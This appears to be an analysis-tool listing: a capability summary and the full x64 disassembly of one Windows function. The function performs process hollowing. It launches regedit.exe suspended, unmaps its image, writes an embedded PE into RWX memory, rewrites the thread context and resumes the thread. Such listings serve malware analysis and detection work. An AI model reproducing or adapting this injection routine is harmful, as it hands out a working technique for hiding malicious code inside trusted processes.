Function at 0x1400010b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp + 0x4a0], rax
movups xmmword [rbp + 0x440], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.140002c10
xor r12d, r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windows_regedit.exe
lea rax, [rbp + 0x440]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000134a
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], rsi
movsxd rsi, dword [0x140019a2c]
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x5d0], r13
lea r13, [0x1400199f0]
mov qword [rsp + 0x5c8], r14
add rsi, r13
mov qword [rsp + 0x5c0], r15
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp - 8]
lea r9d, [r12 + 8]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 0x10
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, [0x140016878]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x68]
cmp rdx, qword [rsi + 0x30]
jne 0x140001221
mov rcx, qword [rsp + 0x50]
call rax
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsi + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [rsi + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp r12w, word [rsi + 6]
jae 0x1400012ae
add rbx, rsi
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r13
mov r9d, dword [rbx - 4]
add rdx, r14
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x140001280
mov rdx, qword [rbp - 8]
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov dword [rbp - 0x60], 0x10000b
mov r9d, 8
mov eax, dword [rsi + 0x28]
add rax, r14
mov qword [rsp + 0x20], r12
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call fcn.1400013b0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x5c8]
mov r13, qword [rsp + 0x5d0]
mov rdi, qword [rsp + 0x600]
mov rsi, qword [rsp + 0x5f8]
mov rbx, qword [rsp + 0x5f0]
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140001390
add rsp, 0x5d8
pop r12
pop rbp
ret